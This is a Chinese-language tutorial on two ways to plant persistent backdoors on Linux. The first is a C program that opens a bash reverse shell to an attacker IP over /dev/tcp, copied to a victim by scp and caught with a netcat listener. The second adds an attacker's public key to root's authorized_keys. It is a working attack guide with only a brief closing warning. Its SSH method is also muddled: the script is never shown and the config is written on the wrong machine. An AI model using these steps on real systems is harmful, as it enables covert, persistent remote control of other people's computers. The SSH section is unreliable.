以下是“linux下留本地后门的两个方法”的详细攻略。
概述后门是指在受害者机器上以不易察觉的方式放置的软件或服务,用于实现潜在的信息窃取、远程操控等攻击行为。攻击者可以利用后门在不留下明显的蛛丝马迹的情况下进行长期持久性攻击。在如今的互联网环境中,后门攻击是一种常见的攻击方式之一。
本文将详细介绍两种在linux系统下留本地后门的方法,包括:
- 使用可执行文件作为后门
- 利用系统服务作为后门
首先,我们需要创建一个后门程序用于测试。
-
创建一个名为
backdoor.cpp
的C++源码文件。 -
在
backdoor.cpp
中输入以下代码:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
system("bash -i >& /dev/tcp/10.0.0.1/8080 0>&1");
return 0;
}
以上代码的作用是,在被攻击者运行此程序时,开启一个bash shell连接到IP地址为10.0.0.1
、端口号为8080
的攻击者主机。这将提供一个bash shell套接字,并将其重定向到stdin、stdout和stderr。由于TCP连接是双向的,将stdin重定向到shell套接字意味着所有输入都可以通过TCP连接发送到攻击者主机,而从stdout和stderr读取的任何数据都将通过TCP连接返回到攻击者主机。
- 在终端中运行以下命令,编译
backdoor.cpp
并生成一个可执行文件backdoor
:
$ gcc backdoor.cpp -o backdoor
执行后门攻击
以下是使用backdoor
程序作为后门的攻击过程。
- 将生成的
backdoor
程序复制到受害者机器上。
$ scp -P 22 ./backdoor user@victim:/tmp
- 在受害者机器上运行
backdoor
程序。
$ /tmp/backdoor
- 可以在攻击者机器上通过监听端口来获取shell。
$ nc -lvp 8080
如果一切顺利,此时就可以通过控制台窗口与受害者机器进行交互了,完全绕过了用户的安全措施和防护机制。
利用系统服务作为后门 环境搭建接下来,我们将介绍如何使用现有的系统服务来作为后门,以达到隐藏攻击痕迹的目的。
-
我们可以使用
sshd
作为我们的后门服务。因为它默认开启,通常情况下用户都不会注意到它的存在。 -
创建一个名为
backdoor.sh
的bash脚本文件。在这个脚本中,将攻击者的公钥添加到/root/.ssh/authorized_keys
文件中,并在/root/.ssh/config
文件中添加以下条目:
Host anywhere
Hostname ipv4.example.com
IdentityFile /root/.ssh/id_rsa
User random_username
Port 22
以上脚本的作用是:将攻击者的公钥添加到/root/.ssh/authorized_keys
文件中,以便可以通过ssh连接控制受害者机器。然后,将ssh的配置信息写入/root/.ssh/config
文件中,并将攻击者的主机名定义为anywhere
,这样就可以轻松地连接到该主机了。
- 将
backdoor.sh
文件复制到受害者机器上。
$ scp -P 22 ./backdoor.sh user@victim:/tmp
- 在受害者机器上执行
backdoor.sh
。
$ /bin/bash /tmp/backdoor.sh &
- 可以在攻击者机器上连接到受害者机器。
$ ssh anywhere
如果一切顺利,你现在应该可以看到一个shell会话,通过这个会话你可以在受害者机器上控制整个系统。
总结无论是使用可执行文件作为后门,还是利用现有的系统服务,后门攻击都是一种非常危险的攻击方式。为了避免成为攻击者的目标,你应该始终保持安全意识,并采取相应的防范措施来保护自己的计算机系统。